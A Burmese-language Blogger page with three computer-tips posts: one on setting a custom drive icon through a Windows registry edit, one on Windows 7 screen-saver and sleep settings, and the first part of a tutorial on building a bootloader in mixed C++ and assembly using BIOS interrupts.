Powered by Blogger.

Popular Posts

RSS
Showing posts with label ကြန္ျပဴတာ နည္းပညာ. Show all posts
Showing posts with label ကြန္ျပဴတာ နည္းပညာ. Show all posts

ကြန္ပ်ဴတာရဲ့ Local Disk (C:) (D:)စသည္ေတြမွာ မိမိစိတ္ၾကိဳက္ပံုေလးထည့္နည္း


Photo: က်ေတာ္ပံုေလးမွာျပထားတာ.ေလးလုပ္နည္းပါ :) +++++++++++++++++++++++++++++++ အရင္ဆံုးပံုအစားထိုးဖို႕အိုင္ကြန္းပံုဖန္တီးရပါမယ္ အိုင္ကြန္းပံုဖန္တီးတဲ့ေစာ့၀ဲေတြဂူဂဲမွာအမ်ားျကီးပါ  က်ေတာ္ကေတာ့၀င္းဒိုးမွာပါတဲ့ paint ေလးနဲ႕ဖန္တီးျပပါမယ္ ရုပ္ထြက္ေတာ့မေကာင္းဘူးေပါ့ window key+R တြဲနိပ္ပါ mspaint လို႕ရိုက္ထည့္ျပီးအန္းတားေခါက္လိုက္ပါ paint ထဲကိုကိုယ္အိုင္ကြန္းခ်ိန္းခ်င္တဲ့ပံုေလး drag စြဲထည့္လိုက္ပါ ျပင္ခ်င္ရင္ျပင္ပါဥိး :) file >save as>bmp picture ကိုေရြးေပးပါ file name မွာ icon.ico လို႕နာမ္မည္ေပးပါ(.ico ပါကိုပါရပါမယ္) ျပီးရင္ desktop ေပၚမွာsace ထားလိုက္ပါဦး   ေနာက္တစ္ဆင့္registry ကေနျပင္ရပါမယ္ window key +R >type regedit and press enter registry editor က်လာရင္ Hkey local Machine >Software>microsoft>Windows>CurrentVersion>exporer ကိုသြားပါ explorerေပၚမွာ right clickေထာက္ nes>key ကိုကလစ္ပါ နာမ္မည္ကို DriveIconsလို႔ေပလိုက္ပါ DriveIcons ေပၚမွာ right clickေထာက္ new>key ထပ္ယူပါ name မွာ D လို႕ေပးပါ အဲ့Dေပၚမွာ right click>new>key ထပ္ေခၚပါ defauleicon လို႕နာမ္မည္ေပးပ ညာဘက္မွာ (Default)ဆိုတာေလးမွာ doubleေပးလိုက္ပါValue Dataမွာ ခုနကဖိုင္ရဲ႕location ကိုေပးလိုက္ပါ eg:C:\Users\Taung Paw Thar Lay\Desktop\8b7029fe870e2f289556672aa3d809af1168872d7dbaa627d49dbeadfa17baf3.ico ျပီးရင္ အိုေကေပါ့ my computer ကိုဖြင့္ f5ေလးနွစ္ခ်က္ေလာက္နိပ္လိုက္ရင္   ပံုေလးေျပာင္းသြားပါျပီ အားလံုးပဲအဆင္ေျပပါေစခင္ဗ်ာ  တားေရးတဲ့ပိုစ္မွန္သမ်ွCredit တု္ိ့ဘာတို႔ညာတို႔မလိုပဲ ျပင္ခ်င္သလိုျပင္ၿပီးရွဲနိုင္ပါသည္  IT Learner and sharer (ရပ္ေစာက္သား)

အရင္ဆံုးပံုအစားထိုးဖို႕အိုင္ကြန္းပံုဖန္တီးရပါမယ္
အိုင္ကြန္းပံုဖန္တီးတဲ့ေစာ့၀ဲေတြဂူဂဲမွာအမ်ားျကီးပါ
က်ေတာ္ကေတာ့၀င္းဒိုးမွာပါတဲ့ paint ေလးနဲ႕ဖန္တီးျပပါမယ္
ရုပ္ထြက္ေတာ့မေကာင္းဘူးေပါ့
window key+R တြဲနိပ္ပါ mspaint လို႕ရိုက္ထည့္ျပီးအန္းတားေခါက္လိုက္ပါ
paint ထဲကိုကိုယ္အိုင္ကြန္းခ်ိန္းခ်င္တဲ့ပံုေလး drag စြဲထည့္လိုက္ပါ
ျပင္ခ်င္ရင္ျပင္ပါဥိး
file >save as>bmp picture ကိုေရြးေပးပါ
file name မွာ icon.ico လို႕နာမ္မည္ေပးပါ(.ico ပါကိုပါရပါမယ္)
ျပီးရင္ desktop ေပၚမွာsace ထားလိုက္ပါဦး

ေနာက္တစ္ဆင့္registry ကေနျပင္ရပါမယ္
window key +R >type regedit and press enter
registry editor က်လာရင္
Hkey local Machine >Software>microsoft>Windows>CurrentVersion>exporer ကိုသြားပါ
explorerေပၚမွာ right clickေထာက္ nes>key ကိုကလစ္ပါ
နာမ္မည္ကို DriveIconsလို႔ေပလိုက္ပါ
DriveIcons ေပၚမွာ right clickေထာက္ new>key ထပ္ယူပါ name မွာ D လို႕ေပးပါ
အဲ့Dေပၚမွာ right click>new>key ထပ္ေခၚပါ defauleicon လို႕နာမ္မည္ေပးပ
ညာဘက္မွာ (Default)ဆိုတာေလးမွာ doubleေပးလိုက္ပါValue Dataမွာ ခုနကဖိုင္ရဲ႕location ကိုေပးလိုက္ပါ
eg:C:\Users\Taung Paw Thar Lay\Desktop\8b7029fe870e2f289556672aa3d809af1168872d7dbaa627d49dbeadfa17baf3.ico
ျပီးရင္ အိုေကေပါ့
my computer ကိုဖြင့္ f5ေလးနွစ္ခ်က္ေလာက္နိပ္လိုက္ရင္ ပံုေလးေျပာင္းသြားပါျပီ
အားလံုးပဲအဆင္ေျပပါေစခင္ဗ်ာ

တားေရးတဲ့ပိုစ္မွန္သမ်ွCredit တု္ိ့ဘာတို႔ညာတို႔မလိုပဲ
ျပင္ခ်င္သလိုျပင္ၿပီးရွဲနိုင္ပါသည္

IT Learner and sharer (ရပ္ေစာက္သား)

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Computer ကsleep မဟုတ္ပဲလံုး၀ပိတ္သြားတာမ်ိဳးလား


Computer ကsleep မဟုတ္ပဲလံုး၀ပိတ္သြားတာမ်ိဳးလား…..
  ေခါင္းစဥ္ေတာင္ဘယ္လိုတက္ရမွန္းမသိေတာ့၀ူးးးးဟီးဟီးကၽြန္ေတာ္က၀င္းဒိုး၇ယူစာမလို႕
၀င္းဒိုး၇တြက္ပဲေျပာျပမယ္ေနာ္းကၽြန္ေတာ္ဆိုလိုခ်င္တဲ့သေဘာက၀င္းဒိုးတင္ပီးပီးခ်င္းမွာ
Computer က၅မိနစ္ေလာက္ျကာတာနဲ႕ auto ပိတ္သြားတယ္ sleep ျဖစ္သြားတာလည္းမဟုတ္ဘူးဗ်
Sleep ျဖစ္တယ္ဆိုတာကဗ်ာ အေပၚကေျပာခဲ့သလို၅မိနစ္ျပည့္တာနဲ႕ screen ကပိတ္သြားတယ္
ဒါေပမဲ့ ကီးဘုတ္ကကီးတစ္ခုခု နိပ္တာနဲ႕ျပန္ပြင့္လာတယ္ အခုကအဲ့လိုမဟုတ္၀ူးးဂ်
Power ကိုျပန္ဖြင့္မွရတယ္ အခုက လံုး၀ပိတ္သြားခ်င္တာမဟုတ္ပါဘူး sleep ျဖစ္ခ်င္တာပါ
ကီးဘုတ္ကကီးတစ္ခုခုနိပ္ယံုနဲ႕ကြန္ပ်ဴတာကိုတန္းပြင့္ေစခ်င္တာမ်ိဳးပါ နားမလည္ရင္ေတာ့တားညံံ့လို႕
လို႕တေဘာထားေပးပါခင္ည ခိခိ ဒီပုိစ္ကအဲ့ကိစၥေလးေျဖရွင္းဖို႕ပါအရင္ဆံုး
window key+R နိပ္ပီး run box ေခၚပါControl desktop လို႕ရိုက္ပီးအန္းတားေခါက္ပါ Screen Saver
ကိုဆက္၀င္ပါ On,Resum,Display logon screen ရဲ႕ဘယ္ဘက္ကအမွန္ခ်စ္ေလးတက္ေပးပါ
ဘယ္ဘက္ကမိနစ္ေလးမွာလည္းကိုSleep လုပ္ခ်င္တဲ့အခ်ိန္ကိုသတ္မွတ္ေပးပါ
၃မိနစ္ဆို3 ထည့္ေပါ့ဗ်ာ ျပီးရင္apply >OK ကိုကလစ္ရင္ရပါပီ ေအာခနေလးမသိေသး
သူေတြတြက္ဆက္ရွည္လိုက္ဦးမယ္ခိခိApply>OK မနိပ္ခင္screen
saver ေအာက္ကNone ဆိုတာကေန ကိုယ္ျကိုက္တာေလးေတြ ထားေပး
နိုင္ပါတယ္ ကလိျကည့္ေနာ္
(မသိေသးးသူေတြတြက္ပဲေနာ္ခ်ာျကီးေတြပါပူးးးးးးးးးဒါဗ်ဲ )
IT Learner And Sharer
ရပ္ေစာက္သား

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

ကိုယ္ပိုင္ ကြန္ျပဴတာ Boot Loader ဘယ္လို Develop လုပ္မလဲ


Photo: ကိုယ္ပိုင္ ကြန္ျပဴတာ Boot Loader ဘယ္လို Develop လုပ္မလဲ   ဒီပို႔စ္က အခက္ၾကီးမဟုတ္ေပမယ့္ C++ နဲ႔ Assemby ဘာသာရပ္ေတြကို အေျခခံအဆင့္ေလာက္ မတတ္ထားေသးရင္ေတာ့ ဖက္ဖို႔ခက္ခဲေနပါမယ္၊ ပို႔စ္ ကရွည္ေတာ့ တစ္ရက္ထဲေရးလို႔မရဘူး၊ သံုးရက္ေလာက္ေရးရမယ္၊ ဒီပို႔စ္ အားလံုးပီးရင္ Project တစ္ခုလံုးကို zip ဖိုင္နဲ႔ မွ်ေ၀သြားပါမယ္၊   Brighter Myanmar က တင္တဲ့ ပို႔စ္ေတြမွာ သာမာန္ထက္ပိုပီးစိတ္၀င္စားစရာေကာင္းတဲ့ Data Processing နဲ႔ Hardware Components ေတြအေၾကာင္းပါပါတယ္၊ အခုေရးမယ့္ ကြန္ျပဴတာ Bootloader Development က High-level နဲ႔ low-level ေပါင္းပီး Bootloader Develop လုပ္မယ့္ Project အေၾကာင္းပါ၊ ပံုမွန္ေတာ့ Desktop Application တို႔ Phone Application တို႔ တည္ေဆာက္ ဖို႔ အတြက္ Hight-level programming ေတြျဖစ္တဲ့ C, C++ နဲ႔ ဖုန္း application အတြက္ Java ကိုအသံုးျပဳၾကပါတယ္၊ ဒါေပမယ့္ လိုအပ္လို႔ low-level Programming နဲ႔ ပတ္သတ္တဲ့ System ၀င္တင္တဲ့ အလုပ္မ်ိဳး ကို လုပ္လာရပီဆိုရင္ low-level programming ျဖစ္တဲ့ Assembly ကိုသံုးရပါလိမ့္မယ္၊ ဒီပို႔စ္ မွာ ကြန္ျပဴတာ စဖြင့္တာနဲ႔ ဘယ္လို အဆင့္ဆင့္အလုပ္လုပ္သြားလဲ နဲ႔ System တစ္ခုလံုး ဘယ္လို ၀န္တင္လဲဆိုတာကိုေျပာသြားမယ္၊ ပီးေတာ့ ကြန္ျပဴတာ System Booting ရဲ့ ပထမဆံုး အစိတ္အပိုင္း ျဖစ္တဲ့ ကိုယ္ပိုင္ boot loader တစ္ခု ဘယ္လို Develop လုပ္မလဲဆိုတာ ကို Project တစ္ခု အေနနဲ႔ ရွင္းသြားမယ္၊ Bootloader ဆိုတာဘာလဲ   ပထမဆံုးေျပာခ်င္တာကေတာ့ ဒီပို႔စ္မွာေရးမယ့္ Bootloader က အရင္ေရးခဲ့ဖူးတဲ့ Android Bootloader မဟုတ္ဘူးဆိုတာပဲ၊ ခု ေျပာမယ့္ Bootloader က ကြန္ျပဴတာ Bootlaoder ပါ၊   Bootloader က ကြန္ျပဴတာ Hard drive ရဲ့ ပထမဆံုး အစိတ္အပိုင္း မွာတည္ရွိတယ္၊ အဲ့ဒီ့ bootloader အစိတ္အပိုင္းကပဲ ကြန္ျပဴတာ ေတြ boot စလုပ္တယ္၊ BIOS (Basic Input Output) က ကြန္ျပဴတာ Power စဖြင့္တာနဲ႔ ကြန္ျပဴတာ ရဲ့ Hard drive ပထမဆံုး အစိတ္အပိုင္းမွာ ရွိတဲ့ ကုတ္ေတြကို စဖတ္ပါတယ္၊ အဲ့ဒီ့ ပထမဆံုး အစိတ္အပိုင္းကို Master Boot Record လို႔ေခၚပါတယ္၊  လက္ေတြ႔လုပ္မယ္  ကိုယ္ပိုင္ Bootloader တစ္ခု တည္ေဆာက္ဖို႔ အတြက္ လိုအပ္တဲ့ ကြန္ျပဴတာ ဘာသာရပ္နဲ႔ အသံုးျပဳမယ့္ IDE ေတြအေၾကာင္းကိုေျပာမယ္၊ ွSystem Boot အတြက္ လိုအပ္တဲ့ အခ်က္အလက္ေတြကိုလဲ ထည့္ေျပာသြားမယ္၊  Bootloader တစ္ခုတည္ေဆာက္ဖို႔ ဘယ္လို ကြန္ျပဴတာ ဘာသာရပ္ေတြ တတ္ထားရမလဲ   ကြန္ျပဴတာ Power စဖြင့္တာနဲ႔ interrupts လို႔ေခၚတဲ့ BIOS function က စတင္အလုပ္လုပ္ပါမယ္၊ BIOS function ျဖစ္တဲ့ Interrupts ရဲ့ အဓီက အလုပ္ကေတာ့ ကြန္ျပဴတာကိုထိန္ခ်ဳပ္မယ့္ Hardware ေတြကို စတင္ အသက္သြင္း ေမာင္းႏွင္ျခင္းပါ၊ ဒီေတာ့ စဥ္းစားရတာ လြယ္တယ္၊ အျခား ဘယ္ Program မွ အလုပ္လုပ္ခြင့္မရခင္ interrupts က အလုပ္စလုပ္မယ္ဆိုေတာ့ အဲ့ဒီ့ interrupts function ကို ေရးမယ့္ ကုတ္က C နဲ႔ C++ မျဖစ္ႏိုင္ေတာ့ဘူး၊ ဘာလို႔လဲဆိုေတာ့ C နဲ႔ C++ က Compiler ေတြလိုတယ္၊ အဲ့ဒီ့လိုပဲ mid-level ဘာသာရပ္ျဖစ္တဲ့ Java က လဲ JVM ရွိမွ အလုပ္လုပ္မွာျဖစ္လို႔ သံုးလို႔မရဘူးေလ၊ ဒီေတာ့ Hardware ေတြကို တိုက္ရိုက္ အလုပ္ခိုင္းႏိုင္မယ့္ low-level ဘာသာရပ္ျဖစ္တဲ့ Assambly ကိုပဲသံုးဖို႔ရွိေတာ့တာေပါ့၊ ဒါ့ေၾကာင့္ ကိုယ္ပိုင္ Bootlaoder Develop လုပ္လိုတဲ့ သူအတြက္ Assambly ဘာသာရပ္ကို အသင့္အသင့္ေတာ့ တတ္ထားဖို႔လိုအပ္ပါတယ္၊ ဒါေပမယ့္ အသဲ အသန္ ကၽြမ္းက်င္ဖို႔ ေတာ့လဲ မလိုလွပါဘူး၊ အေၾကာင္းက Brighter Myanmar ရဲ့ Bootloader Project မွာ High-level ဘာသာရပ္နဲ႔ တည္ေဆာက္ထားတဲ့ ကုတ္ေတြကို low-level နဲ႔ အမိန္႔ေပး အလုပ္လုပ္ခိုင္းတဲ့ "mixed-code" နည္းပညာကိုသံုးသြားမွာမို႔႔ပါ၊ ဒီလို "mixed-code" နည္းပညာကို အသံုးျပဳျခင္းဟာ Bootloader Develop လုပ္ျခင္းကို ပိုမိုေခ်ာေမြ႔ေစမွာျဖစ္ပါတယ္၊ ခုအဓီက သံုးသြားမွာက Hight-level ဘာသာရပ္ျဖစ္တဲ့ C++ ကို အဓိက သံုးမယ္၊ C ကို ကၽြမ္းက်င္ထားရင္ ခု သံုးမယ့္ C++ ကိုေလ့လာရတာလြယ္ပါတယ္၊ ဒါေပမယ့္ ေရးထားတဲ့ ကုတ္ေတြရဲ့ လုပ္ေဆာင္ႏိုင္စြမ္း အဆင့္ျမင့္ဖို႔အတြက္ေတာ့ C++ က ပိုပီး အဆင္ေျပပါတယ္၊ Java နဲ႔ C# ကေတာ့ Virtual Machine ေတြၾကားခံပီး Compile လုပ္ရတဲ့ အတြက္ processor insturctions လုပ္မယ့္ ဒီ Project အတြက္ လံုး၀ကို သံုးမရပါဘူး (Java အတြက္ ၾကားခံ compiler က Java Virtual Machine ျဖစ္ပီး C# အတြက္ေတာ့ .NET ျဖစ္ပါတယ္)၊ ဒီေတာ့ C++ နဲ႔ Assambler ကိုသံုးသြားၾကမယ္၊   ဘယ္လိုု compiler အမ်ိဳးအစားသံုုးသြားမလည္း   ကၽြန္ေတာ္တို႔က mixed-code နည္းကိုသံုးသြားမွာ ဆိုေတာ့ ဘာသာရပ္ႏွစ္ခုကိုေရာမယ္ေပါ့၊ ဘာသာရပ္ႏွစ္ခုဆိုေတာ့ compiler ႏွစ္ခုလိုပီ၊ ပီးေတာ့ .obj ဖိုင္ေတြအျဖစ္ object ဖိုင္ေတြကို ခ်ိတ္ဆက္ေပးမယ့္ linker လဲလိုတယ္၊   processor function ေတြမွာ  mode ႏွစ္မ်ိဳးရွိတယ္၊ real mode နဲ႔ protected mode တို႔ပါ၊ real mode က 16-bit ျဖစ္ပီး ကန္႔သတ္ခ်က္ တစ္ခ်ိဳ႕ရွိပါတယ္၊ Protected mode ကေတာ့ 32-bit ျဖစ္ပီး Operation System ေတြအလုပ္လုပ္ရာမွာ အျပည့္ အ၀ ေထာက္ပံ့ေပးထားပါတယ္၊ processor ေတြ စတင္အလုပ္လုပ္တဲ့ အခါ မွာ 16 bit mode နဲ႔ လုပ္ပါတယ္၊ ဒီေတာ့ 16-bit mode အတြက္ အလုပ္လုပ္ႏုိင္မယ့္ Program တစ္ခုကိုတည္ေဆာက္ပီး အလုပ္လုပ္မယ့္ ဖိုင္ေတြ  Run ေပးရမယ္၊ Assembler ဖိုင္ေတြကို compile လုပ္ပီး ခ်ိတ္ဆက္ေပးဖို႔ compiler တစ္ခုနဲ႔ linker တစ္ခုလိုမယ္၊ modern compilers ေတြကေတာ့ 32-bit applications ေတြမွာသာလွ်င္ အလုပ္လုပ္တဲ့ အတြက္ 16-bit mode အတြက္သံုးလို႔မရဘူး၊ C++ အတြက္ Compiler ကေတာ့ Microsoft Virsual Studio 1.52 ကိုသံုးသြားမယ္၊ ေအာက္က Compiler စာရင္းကို ၾကည့္ပါ၊   ML 6.15 – Assembler compiler by Microsoft for 16-bit mode;  LINK 5.16 – the linker that can create .com files for 16-bit mode;        CL – С, С++ compiler for 16-bit mode.  အျခား Compiler အမ်ိဳး အစားေတြကိုလဲ အသံုးျပဳႏိုင္ပါတယ္၊ DMC – free compile for Assembler, C, C++ for 16 and 32-bit mode by Digital Mars; LINK – free linker for DMC compiler;      ေနာက္ထပ္ေရြးခ်ယ္ႏိုင္တဲ့ Compilers ေတြလဲရွိပါေသးတယ္၊  BCC 3.5 – С, С++ compiler that can create files for 16-bit mode; TASM - Assembler compiler for 16-bit mode; TLINK – linker that can create .com files for 16-bit mode.  ေအာက္မွာပါ၀င္တဲ့ ကုတ္ေတြအားလံုးကို Microsoft က Compiler ကို သံုးပီးတည္ေဆာက္ထားတာပါ၊  System ေတြ ဘယ္လို Boot လုပ္သလဲ   ဒီ Project နဲ႔ ပက္သက္ပီး အဓိက နားလည္ထားရမယ့္ System Booting အေၾကာင္းကို အက်ည္းခ်ဳပ္ ေျပာပါမယ္၊ အထက္က ပံုကိုေတာ့ ေသခ်ာၾကည့္ထားပါ၊ RAM ရဲ့ Address 0000:7C00 ကိုစပီး control ကို ပို႔ေပးတာနဲ႔ MBR (Master Boot Record) က Operation System boot ကို စတင္ေခၚပါတယ္၊ (MBR- Master Boot Record ရဲ့ အဆင့္ဆင့္ အလုပ္လုပ္ပံုနဲ႔ တည္ေဆာက္ပံုကို အျခား ပို႔စ္ တစ္ခု အေနနဲ႔ ရွင္းျပေပးပါမယ္)၊ ကုတ္အစီအစဥ္   ေနာက္တစ္ပိုက္ေရာက္ရင္ low-level programming သံုးပီး ကုတ္စေရးမယ္၊ ခုေတာ့ တဆင့္စီ လုပ္သြားမယ့္ Plan ကိုရွင္းျပမယ္၊ ခုတည္ေဆာက္သြားမယ့္ Bootloader က ေအာက္က အလုပ္ေတြအားလံုးကို လုပ္ႏိုင္စြမ္းရွိမယ္၊    Memory ရဲ့ 0000:7C00 address ကို မွန္ကန္စြာ ၀န္တင္ႏိုင္ရမယ္၊   high-level language နဲ႔ Develop လုပ္ထားတဲ့ BootMain Function ကိုေခၚႏိုင္ရမယ္၊   Hello World ဆိုတဲ့ စာလံုးကို low-level သံုး message တစ္ခု အေနနဲ႔ ေဖာ္ျပႏိုင္ရမယ္၊    Program architecture   ပထမဆံုး High-level ဘာသာရပ္ေတြ နဲ႔ အလုပ္မလုပ္ႏိုင္ခင္ StartPoint အလုပ္(entity) ကို Assamby ဘာသာသီးသန္႔ သံုးပီး Develop လုပ္မယ္၊ StartPoint အလုပ္(entity) က ဘယ္ Compiler ကိုသံုးမလဲဆိုတာကို ေရႊးခ်ယ္ေပးရမယ့္ တာ၀န္ရယ္ disk ကို ဖတ္ပီးသြားရင္ Memory ရဲ့ ဘယ္ address မွာ ၀န္တင္ရမယ္ဆိုတာကို ညြန္းမယ့္ အလုပ္ ရယ္ processor ေတြရဲ့ register လုပ္မူကို မွန္ေအာင္လုပ္ရမယ့္ အလုပ္ရယ္ High-level ဘာသာရပ္နဲ႔ ေရးထားတဲ့ BootMain ကို ဘယ္လို ထိန္းခ်ဳပ္မူေတြလွမ္းပိုရ ရမယ္ဆိုတဲ့ အလုပ္ေတြကိုလုပ္ရမယ္၊    BootMain ကေတာ့ Program တစ္ခုလံုးရဲ့ အလုပ္လုပ္ေဆာင္မူေတြအားလံုးကို ေရးထားတဲ့ အစိတ္အပိုင္းျဖစ္မယ္၊ CDisplay နဲ႔  CString Classes ေတြက screen ေပၚမွာ message ေတြကိုေဖာ္ျပမယ့္ အစိတ္အပိုင္းကိုတာ၀န္ယူရမယ္၊ CD display Class uက အလုပ္လုပ္တဲ့ အခါမွာ CStringclass ကို ေခၚသံုးသြားမယ္၊ ဒီပို႔စ္မွာေတာ့ Microsoft Visual Studio 2005 (သို႔) 2008 တို႔ ကိုသံုးပီးလုပ္သြားတယ္၊    အရင္ဆံုး အဓိက အလုပ္ကိုလုပ္မယ့္ Makefile Project တစ္ခုကိုတည္ေဆာက္လိုက္ပါ၊   Screen ေပၚမွာ message ကိုေဖာ္ျပမွာ ျဖစ္တဲ့ အတြက္ အရင္ဆံုး Screen ကိုရွင္းထားရပါမယ္၊ ဒီ့အတြက္ BIOS interrupt ကိုသံုးသြားမယ္၊ BIOS မွာ Video adapter, keyboard, disk system တို႔လို ကြန္ျပဴတာ Hardware ေတြနဲ႔ တြဲပီး အလုပ္လုပ္ဖို႔ အတြက္ interrupts ေတြ ရွိပါတယ္၊ interrupt တစ္ခုစီမွာ ေအာက္ပါပံုစံ တည္ေဆာက္ပံုေတြပါပါတယ္၊   int [number_of_interrupt];    number_of_interrupt က inturrupt နံပါတ္ေတြကိုညြန္းပါတယ္၊ interrupt တစ္ခုစီအတြက္ သက္ဆိုင္ရာ Parameters ေတြရွိပါတယ္၊ အဲ့ဒီ့ parameters ေတြကို interrupt ကိုေခၚမသံုးခင္ျဖည့္ထားရပါမယ္၊   "ah" processor register က လက္ရွိအသံုးျပဳေနတဲ့ interrupt ရဲ့ function ေတြရဲ့ အလုပ္တာ၀န္ပါ၊ အျခား registers ေတြကေတာ့ current operation အတြက္ အျခား parameters ေတြကိုညြန္းပါတယ္၊ ခု "int 10h" interrupt က Assembler မွာ ဘယ္လို အလုပ္လုပ္သလဲ ဆိုတာကိုၾကည့္ပါမယ္၊ ဗြီဒီယို mode နဲ႔ Screen ကို ရွင္းႏိုင္တဲ့ 00 function ကိုသံုးၾကည့္မယ္၊   mov al, 02h ; (graphical mode ကို 80x25 ခ်ိန္ရန္) mov ah, 00h ; (video mode ကို ေျပာင္းတဲ့ function) int 10h ; (interruption ကိုစေခၚပီ)    ခု Application မွာသံုးမယ့္ interrupts နဲ႔ functions ေတြကို ျပင္ဆင္သြားမယ္၊   int 10h, function 00h; (video mode ကိုေျပာင္းပီး Screen သန္ရရွင္းေရးလုပ္တယ္)၊ int 10h, function 01h – (cursor မွတ္တယ္)၊ int 10h, function 13h – (Screen ေပၚမွာ စာသားေဖာ္ျပတယ္)၊   Mixed code   C++ compiler က Assembler ကို Buildin အျဖစ္ေထာက္ပံ့ေပးထားတဲ့ အတြက္ High-level ဘာသာနဲ႔ ကုတ္ေရးေနတဲ့ အခါ low-level ကိုလဲသံုးသြားႏိုင္ပါတယ္၊ ဒီလို high-level မွာသံုးတဲ့ Assembler ကုတ္ ညြန္ၾကားခ်က္ေတြကို asm insertions လို႔လဲေခၚပါတယ္၊ သူတို႔မွာ _asm ဆိုတဲ့ keyword ေတြကို တြန္႔ကြင္းထဲမွာ ကုတ္အစိတ္အပိုင္းေတြအေနနဲ႔ထည့္ထားရပါတယ္၊ key word ေတြစတင္တဲ့အခါ _asm ဆိုပီးေရးသားပီးစတင္ရပါတယ္၊ ေအာက္က ဥပမာကိုၾကည့္ပါ၊    { ; ကုတ္စတင္မွဴ  … ; ကုတ္မ်ား  } ; ကုတ္အဆံုး    mixed code တြဲသံုး လက္ေတြ႔သိသြားေအာင္ အထက္က Screen သန္႔ရွင္းေရးလုပ္တဲ့ Assembler ကုတ္နဲ႔ C++ ကုတ္တို႔ကို တြဲသံုးၾကည့္ပါမယ္၊ ဒီ့အတြက္ အရင္ဆံုး return type "void" သံုးပီး ClearScreen() function ကိုတည္ေဆာက္ပါ၊  ပီးရင္ _asm ဆိုပီး Assembler ကုတ္စေရးပါ၊ အထက္က ေျပာခဲ့တဲ့ အတိုင္း တြန္႔ကြင္းထဲမွာေရးပါ၊    void ClearScreen()  {  __asm  {  mov al, 02h ;  mov ah, 00h ;  int 10h ;  }   CString ထည့္သြင္းျခင္း CString class ကို စာသားတန္ဖိုးေတြနဲ႔ တြဲပီး အလုပ္လုပ္လို႔ရေအာင္ ဒီဇိုင္းစင္ထားတယ္၊ string ေတြကို parameter အျဖစ္ ညြန္းႏိုင္ပီး သေကၤသေတြကို စာသားတန္ဖိုး အေနနဲ႔ return လုပ္ေပးႏိုင္တဲ့ pointer ပါတဲ့ Strlen() method ကို include လုပ္ထားဖို႔လိုမယ္၊    // CString.h ; CString ရဲ့ Header ဖိုင္ကို ထည့္တယ္၊ #ifndef __CSTRING__  //CSTRING ကို ------########## လုပ္တယ္၊ #define __CSTRING__  //CSTRING ကို Define လုပ္တယ္၊ #include "Types.h" //Types header ဖိုင္ကို Include လုပ္တယ္၊ class CString  // CString class တည္ေဆာက္တယ္၊ { public:   // access modifier ကို public ထားတယ္၊ static byte Strlen( //တျခား class ကေခၚသံုးႏိုင္ေအာင္ static ထားတယ္ return ေပးမွာက byte code ေတြျဖစ္ျလို႔ byte သံုးတယ္။ Method က Strlen; const char far* inStrSource //const သံုးပီး charater datatype နဲ႔ pointer ျဖစ္တဲ့ inStrSource တည္ေဆာက္တယ္၊ ); }; #endif // __CSTRING__ // CString.cpp   // C++ ဖိုင္တည္ေဆာက္တယ္၊ #include "CString.h"  // CString ရဲ့ Header ဖိုင္ကို Include လုပ္တယ္၊ byte CString::Strlen(   //byte CString ဆိုပီး Strlen consturctor တည္ေဆာက္တယ္၊ const char far* inStrSource   // ) { byte lenghtOfString = 0;  // String အေရအတြက္ varaible တည္ေဆာက္ while(*inStrSource++ != '\0') //instrSource ကို looping လုပ္၊  { ++lenghtOfString; //တန္ဖိုးက စတင္မွတ္ကေန စေပါင္း } return lenghtOfString;// String စာလံုးအေရးအတြက္ကို return လုပ္ေပး၊ }  CDisplay ထည့္သြင္းျခင္း  CDisplay Class က Screen မွာ စာသားေဖာ္ျပဖို႔ အတြက္ ဒီဇိုင္းေဖာ္ဖို႔ပါ၊  CDisplay Class မွာ Method သံုးခုပါမယ္၊    TextOut() // TextOut Method က Screen ေပၚမွာ စာသားေတြ ေဖာ္ျပမယ္၊  ShowCursor() – //ShowCursor() Method က Screen ေပၚမွာ ရွိမယ့္ cursor ရဲ့ show, hide ကိုဖမ္းမယ္၊  ClearScreen() – // ClearScreen() က Video mode ကိုေျပာင္းပီး Screen ကိုရွင္းမယ္၊     // CDisplay.h CDisplay ရဲ့ header ဖိုင္၊  #ifndef __CDISPLAY__  #define __CDISPLAY__ // အေရာင္နာမည္ေတြေခၚမျပေတာ့ဘူး ၊ ေဘးက ေတာ့ Assembler ဘာသာရပ္ရဲ့ အေရာင္တန္ဖိုးသတ္မွတ္မူပါ၊  #define BLACK 0x0   #define BLUE 0x1 #define GREEN 0x2 #define CYAN 0x3 #define RED 0x4 #define MAGENTA 0x5 #define BROWN 0x6 #define GREY 0x7 #define DARK_GREY 0x8 #define LIGHT_BLUE 0x9 #define LIGHT_GREEN 0xA #define LIGHT_CYAN 0xB #define LIGHT_RED 0xC #define LIGHT_MAGENTA 0xD #define LIGHT_BROWN 0xE     ေနာက္ရက္ဆက္ရန္  ဒီပိုုစ့္ကိုု pdf ဖိုုင္ အျဖစ္ ေဒါင္းလုုဒ္လုုပ္လိုု ပါက ေအာက္ပါ လင့္တြင္း ေဒါင္းလုုပ္ရယူႏုုိင္ပါသည္ http://goo.gl/DBIHIA  ေက်းဇူးျပဳ၍  ဒီပို႔စ္ကို BrighterMyanmar အဖြဲ႔႕ ေရးတာျဖစ္ပီး အကယ္၍ ပို႔စ္ မွာ အမွား ပါေနတာေတြ႔ရင္ ေက်းဇူးျပဳၿပီး brightermyanmar@gmail.com ကို ေၾကာင္းၾကားေပးပါခင္ဗ်ာ၊ ကၽြန္ေတာ္တို႔ ေသခ်ာ ျပန္စီစစ္ပီး ျပင္ပါ့မယ္၊


ဒီပို႔စ္က အခက္ၾကီးမဟုတ္ေပမယ့္ C++ နဲ႔ Assemby ဘာသာရပ္ေတြကို အေျခခံအဆင့္ေလာက္ မတတ္ထားေသးရင္ေတာ့ ဖက္ဖို႔ခက္ခဲေနပါမယ္၊ ပို႔စ္ ကရွည္ေတာ့ တစ္ရက္ထဲေရးလို႔မရဘူး၊ သံုးရက္ေလာက္ေရးရမယ္၊ ဒီပို႔စ္ အားလံုးပီးရင္ Project တစ္ခုလံုးကို zip ဖိုင္နဲ႔ မွ်ေ၀သြားပါမယ္၊

